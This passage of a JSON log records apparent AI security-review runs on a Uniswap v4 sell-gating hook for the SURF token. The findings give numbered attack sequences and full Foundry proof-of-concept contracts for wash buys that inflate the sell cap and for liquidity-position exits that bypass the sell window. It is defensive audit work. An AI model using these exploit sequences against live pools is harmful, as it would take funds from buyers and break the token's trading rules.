beforeAddLiquidity to accept liquidity only from the launch provider (recorded at initialization or by first add); this changes the mined flags from 0x20C0 to 0x28C0 and the manifest permissions; or (b) derive the allowance from a quantity the attacker cannot fabricate (for example the hook could track net SURF that left the manager through the launch position only). Option (a) also closes finding 2.","line":238,"path":"src/BuyGateHook.sol","reproduction":"State: pool initialized at 1:1 with 10,000 liquidity units full range by the initializer; attacker holds 2,000 SURF and 2,000 ETH. Day 0: (1) ordinary buyer swaps 100 ETH zeroForOne -> records(0).bought = 98,715,803,439,706,129,885. (2) attacker: modifyLiquidity(tickLower = floor60(tick)-60, tickUpper = floor60(tick), +400,000e18) with SURF only; swap zeroForOne exact-in 1,200 ETH -> amount1 = 1,164,831,070,007,462,623,713; modifyLiquidity(..., -400,000e18). Now records(0).bought = 1,263,546,873,447,168,753,598. Attacker net: -49,834,201,760,074,750,523 wei ETH, +48,470,162,589,579,137,706 SURF. (3) any voter stakes >= 5% of circulating and votes true. Day 1, t = dayStart(1): sellAllowance(1) = 631,773,436,723,584,376,799. Expected: a sell of 98,715,803,439,706,129,885 SURF (all genuine buys; the cap is half) reverts SellAllowanceExceeded. Actual: it succeeds and records(1).sold = 98,715,803,439,706,129,885. Proof test: forge test --offline --match-path test/scratch/WashBuyInflatesSellCap.t.sol fails with 'next call did not revert as expected'.","severity":"high","snippet":"                uint256 amount = uint256(tokenDelta);\n                records[day].bought += amount;","title":"Sell cap is inflatable at will: `bought` counts tokens swapped out of attacker-owned liquidity (wash buys)"},{"citation":"resolved","description":"Boundary: liquidity provision on the governed pool. Assumption (the brief): 'can buys only' and sells happen only in a voted one-hour window capped at 50% of the previous day's buys. Actual: the hook gates swaps only; modifyLiquidity is unrestricted (`beforeAddLiquidity: false`, `beforeRemoveLiquidity: false`). A holder deposits SURF as a position in [-60, 0] (SURF only, since the range is at or below the current tick), the next genuine buyer's zeroForOne swap is filled almost entirely by that dense position rather than the launch liquidity, and the holder removes the position as ETH. No SellsClosed, no cap, `records[day].sold` stays 0. The README lists this under 'What the hook cannot do' as accepted ('The launch factory is the liquidity provider'), so the author knows; it is still a route by which every holder, not only LPs, converts SURF to ETH at will, and together with finding 1 it means the hook enforces nothing against a motivated seller. Numbers from the proof: holder parks 898.6065 SURF; a buyer swaps 500 ETH; holder removes and ends with 483.8710 ETH and 518.3552 SURF while sellWindowOpen() is false and records(0).sold = 0. Fix: as finding 1(a), restrict liquidity provision to the launch provider (a design decision; it changes flags and manifest permissions), or document explicitly in the launch notes that the 'buys only' rule binds swappers but not limit-order style LPs.","line":161,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice The hook gates swaps only. A holder who wants ETH for SURF on a day with no vote and no window\n/// places a dense SURF-only position just below the price; the next genuine buyer's ETH lands in that\n/// position instead of the launch liquidity, and the holder removes it as ETH. No `SellsClosed`, no cap.\n///\n/// This contract plays the launch factory: it initializes the pool and seeds its liquidity directly. The\n/// holder and the buyer are separate accounts acting through the standard v4 test routers.\n///\n/// Fails on the current code: the holder ends the day holding ETH that came from a buyer while\n/// `sellWindowOpen()` is false. Passes once liquidity cannot be added by arbitrary holders.\ncontract LpExitBypassesBuysOnlyTest is Test, IUnlockCallback {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address holder = makeAddr(\"holder\");\n    address buyer = makeAddr(\"buyer\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        hook = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // Launch liquidity, seeded by the initializer itself: full range at 1:1, ~10,000 ETH and ~10,000 SURF.\n        vm.deal(address(this), 100_000 ether);\n        manager.unlock(\"\");\n\n        // The holder owns 1,000 SURF (an allocation or an earlier buy). The buyer has ETH.\n        token.transfer(holder, 1_000 ether);\n        vm.deal(buyer, 1_000 ether);\n    }\n\n    /// @dev Factory-style seeding: add liquidity and settle both currencies directly.\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (BalanceDelta delta,) =\n            manager.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\");\n        uint256 ethOwed = uint256(uint128(-delta.amount0()));\n        uint256 tokenOwed = uint256(uint128(-delta.amount1()));\n        manager.settle{value: ethOwed}();\n        manager.sync(key.currency1);\n        token.transfer(address(manager), tokenOwed);\n        manager.settle();\n        return \"\";\n    }\n\n    function test_holderCannotConvertSurfToEthWithoutAnOpenWindow() public {\n        assertFalse(hook.sellWindowOpen());\n        assertEq(holder.balance, 0);\n\n        // Holder parks SURF as a position one spacing below the price. If the hook refuses it, nothing happens.\n        vm.startPrank(holder);\n        token.approve(address(lpRouter), type(uint256).max);\n        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 300_000 ether, bytes32(0)), \"\") {} catch {}\n        vm.stopPrank();\n        uint256 parked = 1_000 ether - token.balanceOf(holder);\n        emit log_named_uint(\"SURF parked in the position\", parked);\n\n        // An ordinary buyer buys SURF with 500 ETH.\n        vm.prank(buyer);\n        swapRouter.swap{value: 500 ether}(\n            key,\n            SwapParams(true, -int256(500 ether), TickMath.MIN_SQRT_PRICE + 1),\n            PoolSwapTest.TestSettings(false, false),\n            \"\"\n        );\n\n        // Holder takes the position back: it is now mostly ETH.\n        vm.startPrank(holder);\n        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -300_000 ether, bytes32(0)), \"\") {} catch {}\n        vm.stopPrank();\n\n        emit log_named_uint(\"holder ETH after (wei)\", holder.balance);\n        emit log_named_uint(\"holder SURF after\", token.balanceOf(holder));\n        (,,,,, uint256 sold) = hook.records(0);\n        emit log_named_uint(\"records[0].sold\", sold);\n\n        assertFalse(hook.sellWindowOpen(), \"no window was ever open\");\n        assertEq(holder.balance, 0, \"holder turned SURF into ETH with sells closed\");\n    }\n}","reproduction":"State: pool at 1:1 with 10,000 units of full-range launch liquidity; holder has 1,000 SURF, buyer has 1,000 ETH, no vote cast, day 0. (1) holder: modifyLiquidity(-60, 0, +300,000e18) -> 898,606,486,773,234,281,303 SURF leave the holder, 0 ETH needed. (2) buyer: swap zeroForOne exact-in 500 ETH. (3) holder: modifyLiquidity(-60, 0, -300,000e18). Expected (brief): the holder cannot obtain ETH for SURF outside a sell window. Actual: holder.balance = 483,870,967,741,935,483,870 wei, holder SURF = 518,355,161,136,044,135,478, hook.sellWindowOpen() == false, records(0).sold == 0. Proof test: forge test --offline --match-path test/scratch/LpExitBypassesBuysOnly.t.sol fails with 'holder turned SURF into ETH with sells closed: 483870967741935483870 != 0'.","severity":"medium","snippet":"            beforeAddLiquidity: false,","title":"Any holder sells SURF for ETH with no vote and no window by parking it as an LP position one spacing below the price"},{"citation":"resolved","description":"Boundary: beforeSwap exact-input sell branch. Assumption: `-params.amountSpecified` is the amount of SURF the pool will consume. Actual: with a `sqrtPriceLimitX96` close to the current price, v4 stops the swap at the limit and consumes only part of the input; afterSwap then charges the actual `-delta.amount1()`, which is the correct figure. The pre-check therefore rejects price-limited sells that would have fit, and it is redundant for safety because the afterSwap check already enforces `sold <= allowance` on the real amount. Numbers from the scratch test: allowance 4,980,034,905,199,516,082 SURF; a sell with amountSpecified = -9,960,069,810,399,032,164 (twice the allowance) and limit = sqrtPrice + 1e6 would fill 2 wei but reverts SellAllowanceExceeded in beforeSwap; the same limit with amountSpecified = -allowance fills and is charged exactly 2 wei. Impact: liveness only (a router that sizes orders by nominal input with a tight limit gets refused; it must size by `sellRemaining()`). Fix: keep only the afterSwap check, or document that exact-input sells must be nominally <= sellRemaining(). No proof attached; the behaviour is conservative.","line":215,"path":"src/BuyGateHook.sol","reproduction":"State: day 0 buy of 10 ETH (bought = 9,960,069,810,399,032,164 SURF), vote passed, t = dayStart(1), sellAllowance(1) = 4,980,034,905,199,516,082, pool sqrtPrice P. Call swap(zeroForOne=false, amountSpecified=-9,960,069,810,399,032,164, sqrtPriceLimitX96 = P + 1,000,000). Expected (by the pool's actual consumption): a 2 wei sell is charged. Actual: beforeSwap reverts SellAllowanceExceeded(9,960,069,810,399,032,164, 4,980,034,905,199,516,082). Control: the same call with amountSpecified = -4,980,034,905,199,516,082 succeeds, delta.amount1 = -2, records(1).sold = 2.","severity":"low","snippet":"                uint256 requested = uint256(-params.amountSpecified);\n                if (requested > remaining) revert SellAllowanceExceeded(requested, remaining);","title":"beforeSwap refuses exact-input sells on the nominal amount even when the price limit would fill only a sliver"},{"citation":"resolved","description":"Boundary: the two external reads in circulatingSupply. Assumption (README): 'Circulating supply is the token's total supply minus the PoolManager's SURF balance, so tokens sitting in the pool do not count against voters', meaning the governed pool. Actual: `balanceOf(address(poolManager))` is the manager's total SURF, including liquidity in any other pool on the same manager (a hookless ETH/SURF pool anyone can create) and SURF held as ERC-6909 claims. Any such parking lowers the next day's quorum snapshot. Checked whether this is exploitable by the parker: it is not. Parking X of your own tokens lowers quorum by only 0.05X, so the stake needed to pass alone (>= 0.05 x circulating) never falls below what the attacker already needed; only borrowed tokens or third parties' LP positions move the quorum, and no SURF lending market exists at launch. Reported as a documentation/design deviation with a measured effect, not as a vulnerability. Numbers: with 999,990,000 SURF circulating, adding 100,000,000 liquidity units in [MIN_TICK, -60] of a hookless ETH/SURF pool on the same manager moves 99,700,464.5 SURF into the manager; circulatingSupply() falls from 999,990,000,000,000,000,000,000,543 to 900,289,535,495,591,078,099,203,308, so the quorum snapshot would fall from about 49,999,500 SURF to about 45,014,477 SURF. Fix: if the intent is the governed pool only, track pool-held SURF from the hook's own accounting (for example from liquidity deltas) or document the broader base.","line":333,"path":"src/BuyGateHook.sol","reproduction":"State: governed pool live, circulatingSupply() = 999,990,000,000,000,000,000,000,543. Steps: initialize a second PoolKey {currency0: ETH, currency1: SURF, fee 3000, tickSpacing 60, hooks: address(0)} on the same manager at 1:1; modifyLiquidity(MIN_TICK, -60, +100,000,000e18) on it (SURF only). Expected per README: circulatingSupply() unchanged, since no SURF entered the governed pool. Actual: circulatingSupply() = 900,289,535,495,591,078,099,203,308; a vote cast now snapshots quorum = 45,014,476,774,779,553,904,960,165 instead of 49,999,500,000,000,000,000,000,027.","severity":"info","snippet":"        return token.totalSupply() - token.balanceOf(address(poolManager));","title":"Quorum base is the manager's whole SURF balance, so SURF in other pools or ERC-6909 claims lowers the quorum (README says 'the pool')"}],"hash":"a64edfa33882ca442d5827a1d7c5138b42b7fa3eaeca94cdb5308a29f51aee33","nodeId":"826d9863-e1b6-47b8-9129-54963b648c86","outcome":"completed","summary":"The review is complete. The findings file is valid, every snippet matches the tree, all nine entry points have coverage rows, and no source or configuration file was changed. The only files I wrote are `.imd-findings.json` and the scratch tests under `test/scratch/`.\n\n**Outcome: 4 findings, 2 with failing Foundry proofs.**\n\n- **High. The 50% sell cap is inflatable at will.** `afterSwap` credits `records[day].bought` with every token a buy takes out of the pool, whatever liquidity filled it, and liquidity provision is ungated. A holder parks a dense SURF-only position one tick-spacing below the price, buys through it with ETH, and removes it. In the proof the genuine buys were 98.7 SURF, the wash pushed `bought` to 1,263.5 SURF, and the next window's allowance became 631.8 SURF instead of 49.4. The attacker's net change was a real purchase of 48 SURF for 49.8 ETH, not a loss. Proof: `test/scratch/WashBuyInflatesSellCap.t.sol` fails on the current code.\n- **Medium. Any holder converts SURF to ETH with no vote and no window** by placing SURF as an LP position just below the price and removing it after the next buyer passes through. The holder ended with 483.9 ETH while `sellWindowOpen()` was false and `sold` stayed 0. The README documents this as accepted, so the judge decides whether it stands. Proof: `test/scratch/LpExitBypassesBuysOnly.t.sol`.\n- **Low.** `beforeSwap` refuses exact-input sells on the nominal amount even when a tight price limit would fill only 2 wei. The `afterSwap` check already enforces the real cap, so this is liveness only.\n- **Info.** `circulatingSupply` subtracts the manager's entire SURF balance, so SURF in a hookless pool or ERC-6909 claims lowers the quorum. I checked and the parker gains nothing from their own tokens, so this is a documentation deviation, not an exploit.\n\n**What held in my area.** The pure arithmetic is clean: no overflow at any reachable magnitude, floors lose under 1 wei in the restrictive direction, int128 deltas widen before negation, the window edges and the lock boundary are exact, and `sold <= bought[d-1]/2` holds for every window. The suggested fix for both material findings is to restrict liquidity to the launch provider, which is a design decision that changes the hook's flags and manifest permissions, so I flagged it as a scope call rather than a drop-in patch.","treeHash":null,"usage":{"cachedInputTokens":1808392,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":63060,"runtime":"claude","turns":38,"wallClockMs":844504}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"30a6c1a419ef4f9c","findings":[{"citation":"resolved","description":"Settles the second-round fix for d3f53da6 (shared-router initializer): confirmed fixed, the attached proof passes unchanged (alice's add through the initializing router is refused, 0 ETH gained, 1,000 SURF kept), and test_usersOfTheRouterThatInitializedThePoolAreRefusedAfterTheSeed covers it. The residual reported by write_foundry_tests (1b112e51) reproduces: beforeInitialize sets INITIALIZING_SLOT (line 227) for the rest of the transaction and nothing clears it when the seed is done, so beforeAddLiquidity accepts any position from any router for as long as the launch transaction runs. Any contract that gains execution after the seed but inside that transaction (an ETH payout recipient's receive(), a callback the factory notifies) can park SURF just below the price through its own router; that position is a resting sell order which the next buy fills, and the contract removes it holding ETH on day 0 with sells closed and records[0].sold == 0. The hook cannot see what the factory calls after seeding. Kept at low rather than the tester's medium: the only actors are contracts the launch's own transaction chooses to call after the seed (SurfToken has no transfer callbacks; the policy treasury is the operator's), so it is a narrowing of the guarantee the deployer can check rather than an open path for holders. A hook-side fix that keeps the design: inside the initialization transaction additionally require sender == initializer (the router that called initialize). With a factory that calls initialize directly and seeds as its own router (the MockLaunchFactory shape) this closes the path completely; with a shared router used for both, the exposure shrinks to third parties the launch transaction calls who also drive that router, and the README should state that the factory must make no untrusted external calls after the seed in the launch transaction. The attached proof fails now and passes with either the sender == initializer rule or a factory that makes no post-seed calls.","line":247,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// A factory that initializes, seeds, then pays an ETH tip to a recipient, all in one transaction.\ncontract TippingFactory is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function launch(PoolKey calldata key, uint160 price, ModifyLiquidityParams[] calldata positions, address tipTo)\n        external\n        payable\n    {\n        manager.initialize(key, price);\n        manager.unlock(abi.encode(key, positions));\n        (bool ok,) = tipTo.call{value: msg.value}(\"\");\n        require(ok, \"tip failed\");\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (PoolKey memory key, ModifyLiquidityParams[] memory positions) =\n            abi.decode(data, (PoolKey, ModifyLiquidityParams[]));\n        int256 owed1;\n        for (uint256 i = 0; i < positions.length; i++) {\n            (BalanceDelta delta,) = manager.modifyLiquidity(key, positions[i], \"\");\n            owed1 += delta.amount1();\n        }\n        if (owed1 < 0) {\n            manager.sync(key.currency1);\n            IERC20(Currency.unwrap(key.currency1)).transfer(address(manager), uint256(-owed1));\n            manager.settle();\n        }\n        return \"\";\n    }\n}\n\n/// A recipient that, when paid inside the launch transaction, parks SURF just below the price\n/// through its own router: a resting sell order.\ncontract GreedyRecipient {\n    PoolModifyLiquidityTest public immutable router;\n    PoolKey key;\n    bool public added;\n\n    constructor(IPoolManager m, PoolKey memory k, IERC20 token) {\n        router = new PoolModifyLiquidityTest(m);\n        key = k;\n        token.approve(address(router), type(uint256).max);\n    }\n\n    receive() external payable {\n        try router.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(0)), \"\") {\n            added = true;\n        } catch {}\n    }\n\n    function exit() external {\n        router.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(0)), \"\");\n    }\n}\n\ncontract InitTxWideGateProof is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    TippingFactory factory;\n    PoolKey key;\n    address bob = makeAddr(\"bob\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        factory = new TippingFactory(IPoolManager(address(manager)));\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        token.transfer(address(factory), 100_000 ether);\n        vm.deal(bob, 10_000 ether);\n        vm.deal(address(this), 100 ether);\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n            | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_contractCalledAfterTheSeedInTheLaunchTransactionCannotAddAPosition() public {\n        GreedyRecipient recipient = new GreedyRecipient(IPoolManager(address(manager)), key, IERC20(address(token)));\n        token.transfer(address(recipient), 1_000 ether);\n\n        ModifyLiquidityParams[] memory seed = new ModifyLiquidityParams[](1);\n        seed[0] = ModifyLiquidityParams(MIN_TICK, -60, 10_000 ether, bytes32(0));\n        factory.launch{value: 1 ether}(key, SQRT_PRICE_1_1, seed, address(recipient));\n        assertTrue(hook.seeded());\n        emit log_named_string(\"recipient add after the seed, same transaction\", recipient.added() ? \"ACCEPTED\" : \"refused\");\n\n        // next block, day 0, sells closed: a buy fills the resting order and the recipient exits with ETH\n        vm.roll(block.number + 1);\n        uint256 ethBefore = address(recipient).balance; // the 1 ETH tip\n        vm.prank(bob);\n        swapRouter.swap{value: 2_000 ether}(\n            key, SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), \"\"\n        );\n        if (recipient.added()) recipient.exit();\n        emit log_named_uint(\"recipient ETH gained from the pool\", address(recipient).balance - ethBefore);\n        emit log_named_uint(\"recipient SURF after\", token.balanceOf(address(recipient)));\n        (,,,,, uint256 sold) = hook.records(0);\n        assertEq(sold, 0);\n        assertFalse(hook.sellWindowOpen());\n        assertEq(address(recipient).balance, ethBefore, \"stranger turned SURF into ETH inside the launch transaction\");\n    }\n}","reproduction":"Fresh PoolManager, SurfToken, BuyGateHook mined for flags 0x28C0. TippingFactory.launch{value: 1 ether}(key ETH/SURF 3000/60, 1:1, [ModifyLiquidityParams(-887220, -60, 10_000e18, 0)], recipient): initialize, seed in one unlock, then send the 1 ETH tip to GreedyRecipient, whose receive() calls its own PoolModifyLiquidityTest.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000e18, 0)). Expected: revert LiquidityNotFromLaunch(recipientRouter), pool holds the seed only. Actual: accepted (seeded() == true but the transient flag is still set). Next block, day 0: bob -> PoolSwapTest.swap{value: 2000 ether}(key, {zeroForOne:true, amountSpecified:-1200e18, limit MIN_SQRT_PRICE+1}) passes as a buy; recipient removes its position. Actual (forge test --offline --match-path test/scratch/Proof_InitTxWideGate.t.sol -vv): recipient ETH gained from the pool = 1003460283744294125149 wei, recipient SURF after = 2546799681709947754, records(0).sold == 0, sellWindowOpen() == false. Test fails with 'stranger turned SURF into ETH inside the launch transaction: 1004460283744294125149 != 1000000000000000000'.","severity":"low","snippet":"        if (seeded && !_inInitializationTransaction()) revert LiquidityNotFromLaunch(sender);","title":"The liquidity gate's initialization-transaction exception is transaction-wide: any contract the launch transaction calls after the seed can add a resting SURF sell position"},{"citation":"resolved","description":"Reproduced the write_foundry_tests finding 48d9b131. When the pool is initialized in one transaction and seeded in a later one, the first position is accepted from whoever sends it and every later position is refused for everyone, the launch included, so a 1 wei dust position between the two transactions leaves the pool permanently unseedable and the launch must redeploy hook and pool. README ('The seed must be in the initialization transaction') and REVIEW.md item 14 and the open-items list state this as a hard requirement, and launch.json notes repeat it, so it is recorded as information for the deployer, not as a code defect: with the seed in the initialization transaction the race does not exist. If the deployer confirms the factory always seeds in the initialization transaction, the 'first position ever' exception serves no purpose and can be dropped (accept adds only while _inInitializationTransaction()), which removes the race entirely; if the factory seeds later, dropping it would break the launch outright, so this is the deployer's call.","line":248,"path":"src/BuyGateHook.sol","reproduction":"Fresh PoolManager, SurfToken, BuyGateHook at a 0x28C0 address. Tx 1: manager.initialize(key ETH/SURF 3000/60, 1:1). Tx 2 (next block): stranger -> PoolModifyLiquidityTest.modifyLiquidity(key, ModifyLiquidityParams(-887220, -60, 1, 0)): accepted, seeded() == true. Tx 3: launch -> its own router modifyLiquidity(key, ModifyLiquidityParams(-887220, -60, 10_000e18, 0)). Expected: accepted. Actual: reverts (WrappedError(hook, beforeAddLiquidity, LiquidityNotFromLaunch(launchRouter), HookCallFailed)); the pool's only liquidity is the stranger's 1 wei. Scratch test test_laterTransactionSeedIsFrontRunnable (test/scratch/InitTxWideGate.t.sol) passes on this code with both expectReverts.","severity":"info","snippet":"        if (!seeded) {\n            seeded = true;\n            emit Seeded(sender);\n        }","title":"A seed placed in a transaction after initialize is front-runnable with 1 wei of liquidity, after which nobody can seed; documented, deployer must confirm the factory seeds in the initialization transa"}],"hash":"ae0df4e5bbcbe0ee04f1b0d930837d2e50aee563a125f09ea42096eb70a26c26","nodeId":"63d3092d-a215-44bc-ace9-e613e4ba8f23","outcome":"completed","summary":"The review is complete and written to `.imd-findings.json`. The scratch tests were removed, leaving the tree unchanged apart from the findings file.\n\n**Earlier finding settled.** The shared-router initializer finding (d3f53da6) is fixed. The attached proof, copied under test/scratch and run unchanged, now passes: alice's add through the router that initialized the pool is refused, she gains no ETH and keeps her 1,000 SURF. The gate no longer consults the router identity at all.\n\n**Specialist findings from the panel.** All four areas described the pre-fix code. I re-ran their four attached proofs with the hook address re-mined for the current flag set, and all pass on this tree, so the wash-buy inflation, the single-sided LP exit and the quorum flash-take grief are closed. The pinned protected hook and token tests also pass, as does the full suite of 109 tests.\n\n**What I kept, both from the independent tester's round:**\n\n- **Low.** The initialization-transaction exception is transaction-wide. The transient flag set in beforeInitialize is never cleared, so any contract the launch transaction calls after the seed can still add a position through its own router. I reproduced it with a factory that pays an ETH tip to a recipient whose receive() parks SURF below the price. A buy on day 0 filled it and the recipient exited with about 1,003 ETH while sells were closed. Rated low rather than the tester's medium because the only attackers are contracts the launch's own transaction calls. A proof is attached, and the suggested fix is to also require the sender to equal the recorded initializer inside the initialization transaction.\n- **Info.** A seed placed in a later transaction can be front-run with 1 wei of liquidity, bricking the pool. Reproduced, but the README, REVIEW.md and manifest notes already state the seed must be in the initialization transaction, so this is recorded for the deployer to confirm rather than as a code defect.\n\n**Coverage.** All ten entry points are answered: beforeAddLiquidity points to finding 1, the other nine hold. Three extra rows record the settled prior finding, the closed specialist findings, and the static-analysis leads, none of which reproduced as defects.","treeHash":null,"usage":{"cachedInputTokens":1784472,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":24947,"runtime":"claude","turns":29,"wallClockMs":549885}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"bb0a3bf63233e5e5","findings":[],"hash":"c575e94f92a368a49876f9e0e638593df27d318e0cdd8ca07f71bae1f12c0e16","nodeId":"6cbb8004-4e5a-4298-b189-9919cbce1087","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":2,"wallClockMs":85272}},{"artifacts":[],"attempt":1,"bundleHash":"4f065f5e73aeee5b91d2e015ed3e73a65382317eb435e53c6cfa21fda186b53a","device":"433c37ef2c9c708d","findings":[{"description":"beforeInitialize records the `sender` of `initialize` as `initializer`, and beforeAddLiquidity admits every later position whose `sender` equals it (`sender != initializer` clause, line 242). `sender` is the contract that called the PoolManager, not the end user. If the launch initializes the pool through any contract that other people can also call, such as Uniswap's PositionManager (`initializePool` followed by `modifyLiquidities`) or a launch factory that exposes liquidity management to its users, that contract becomes `initializer` and every position it forwards, from anyone, forever, passes the gate. The one-sided resting-sell-order exit that the gate was added to close in the previous revision (REVIEW.md item 7) is then open again: a holder adds SURF just below the price, a buy fills it, the holder removes the position and keeps ETH, on day 0, with no vote and no cap. The README warns that the launch cannot add through a shared router after the seed, but not that initializing through one voids the rule; the task text says the factory initializes the pool, and the hook has no way to tell a factory with a public liquidity entry point from the launch's own address. The hook cannot be tested around this: a test asserting the stranger is refused fails. Suggested fix: admit positions only during the initialization transaction (drop the `sender != initializer` clause), which is what the factory does anyway, or bind the launch to an explicit address rather than to whichever contract called `initialize`. The attached proof passes under the first of these.","line":242,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice A position router that can also initialize pools, the shape of Uniswap's own PositionManager\n/// (`initializePool` + `modifyLiquidities`) and of any launch factory that exposes liquidity management\n/// to its users. Anyone may call either function.\ncontract SharedLaunchRouter is 